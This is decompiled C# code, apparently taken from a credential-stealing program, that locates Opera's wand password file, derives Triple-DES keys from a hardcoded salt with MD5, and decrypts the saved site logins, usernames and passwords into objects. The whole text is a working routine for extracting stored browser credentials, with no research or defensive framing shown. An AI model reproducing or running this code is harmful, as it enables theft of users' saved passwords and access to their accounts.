// Token: 0x06000169 RID: 361 RVA: 0x0000561C File Offset: 0x0000381C
private static IEnumerable <OperaPassword> EnumeratePasswords(string wandFileName)
{
List <OperaPassword> list = new List <OperaPassword>();
checked
{
IEnumerable <OperaPassword> result;
if (!File.Exists(wandFileName))
{
result = list;
}
else
{
using (FileStream fileStream = new FileStream(wandFileName, FileMode.Open, FileAccess.Read))
{
List <OperaPasswords.EncBlock> list2 = new List <OperaPasswords.EncBlock>();
fileStream.Seek(0L, SeekOrigin.Begin);
while (fileStream.Position != fileStream.Length)
{
OperaPasswords.EncBlock encBlock = OperaPasswords.ReadEncryptedBlock(fileStream);
if (encBlock != null)
{
list2.Add(encBlock);
}
}
fileStream.Seek(0L, SeekOrigin.Begin);
BinaryReader binaryReader = new BinaryReader(fileStream);
int num = OperaPasswords.Swap(binaryReader.ReadInt32());
int num2 = num;
if (num2 < 5)
{
int num3 = 4;
int num4 = list2.Count - (list2.Count - 4) % 5 - 1;
for (int i = num3; i <= num4; i += 5)
{
list.Add(new OperaPassword(list2[i].DataString, string.Empty, list2[i + 1].DataString, list2[i + 2].DataString, list2[i + 3].DataString, list2[i + 4].DataString, string.Empty));
}
}
else if (num2 == 5)
{
int num5 = 4;
int num6 = list2.Count - (list2.Count - 4) % 6 - 1;
for (int j = num5; j <= num6; j += 6)
{
list.Add(new OperaPassword(list2[j].DataString, list2[j + 1].DataString, list2[j + 2].DataString, list2[j + 3].DataString, list2[j + 4].DataString, list2[j + 5].DataString, string.Empty));
}
}
else
{
int l;
for (int k = 5; k < list2.Count; k = l)
{
for (l = k + 1; l < list2.Count; l++)
{
if (Regex.IsMatch(list2[l].DataString, "^[0-9A-F]{32}"))
{
break;
}
}
if (l - k == 10)
{
list.Add(new OperaPassword(list2[l - 7].DataString, list2[k + 2].DataString, list2[l - 6].DataString, list2[l - 5].DataString, list2[l - 4].DataString, list2[l - 3].DataString, list2[k + 1].DataString));
}
else
{
list.Add(new OperaPassword(list2[l - 5].DataString, list2[k + 2].DataString, list2[l - 4].DataString, list2[l - 3].DataString, list2[l - 2].DataString, list2[l - 1].DataString, list2[k + 1].DataString));
}
}
}
}
result = list;
}
return(result);
}
}
// Token: 0x0600016B RID: 363 RVA: 0x0000597C File Offset: 0x00003B7C
private static OperaPasswords.EncBlock ReadEncryptedBlock(Stream stream)
{
OperaPasswords.EncBlock encBlock = new OperaPasswords.EncBlock();
checked
{
BinaryReader binaryReader;
for (;;)
{
while (stream.Position != stream.Length)
{
if (stream.ReadByte() == 0 && stream.ReadByte() == 0 && stream.ReadByte() == 0 && stream.ReadByte() == 8)
{
break;
}
}
if (stream.Position == stream.Length)
{
break;
}
long offset = stream.Seek(-8L, SeekOrigin.Current) + 8L;
binaryReader = new BinaryReader(stream);
encBlock.BlockSize = OperaPasswords.Swap(binaryReader.ReadInt32());
encBlock.DESKeyLength = OperaPasswords.Swap(binaryReader.ReadInt32());
encBlock.DESKey = binaryReader.ReadBytes(8);
encBlock.DataLength = OperaPasswords.Swap(binaryReader.ReadInt32());
if (encBlock.DataLength + 16 == encBlock.BlockSize)
{
goto IL_D4;
}
stream.Seek(offset, SeekOrigin.Begin);
}
return(null);
IL_D4:
encBlock.Data = binaryReader.ReadBytes(encBlock.DataLength);
byte[] array = new byte[]
{
131,
125,
252,
15,
142,
179,
232,
105,
115,
175,
byte.MaxValue
};
byte[] array2 = new byte[256];
Array.Copy(array, array2, array.Length);
Array.ConstrainedCopy(encBlock.DESKey, 0, array2, array.Length, encBlock.DESKey.Length);
MD5CryptoServiceProvider md5CryptoServiceProvider = new MD5CryptoServiceProvider();
byte[] array3 = md5CryptoServiceProvider.ComputeHash(array2, 0, array.Length + encBlock.DESKey.Length);
Array.Copy(array3, array2, array3.Length);
Array.ConstrainedCopy(array, 0, array2, array3.Length, array.Length);
Array.ConstrainedCopy(encBlock.DESKey, 0, array2, array3.Length + array.Length, encBlock.DESKey.Length);
byte[] sourceArray = md5CryptoServiceProvider.ComputeHash(array2, 0, array3.Length + array.Length + encBlock.DESKey.Length);
byte[] array4 = new byte[24];
Array.ConstrainedCopy(array3, 0, array4, 0, 8);
Array.ConstrainedCopy(array3, 8, array4, 8, 8);
Array.ConstrainedCopy(sourceArray, 0, array4, 16, 8);
byte[] array5 = new byte[8];
Array.ConstrainedCopy(sourceArray, 8, array5, 0, 8);
TripleDESCryptoServiceProvider tripleDESCryptoServiceProvider = new TripleDESCryptoServiceProvider();
ICryptoTransform transform = tripleDESCryptoServiceProvider.CreateDecryptor(array4, array5);
CryptoStream cryptoStream = new CryptoStream(new MemoryStream(encBlock.Data), transform, CryptoStreamMode.Read);
MemoryStream memoryStream = new MemoryStream();
byte[] array6 = new byte[256];
for (int num = cryptoStream.Read(array6, 0, array6.Length); num != 0; num = cryptoStream.Read(array6, 0, array6.Length))
{
memoryStream.Write(array6, 0, num);
}
encBlock.DataString = Encoding.Unicode.GetString(memoryStream.ToArray());
return(encBlock);
}
}
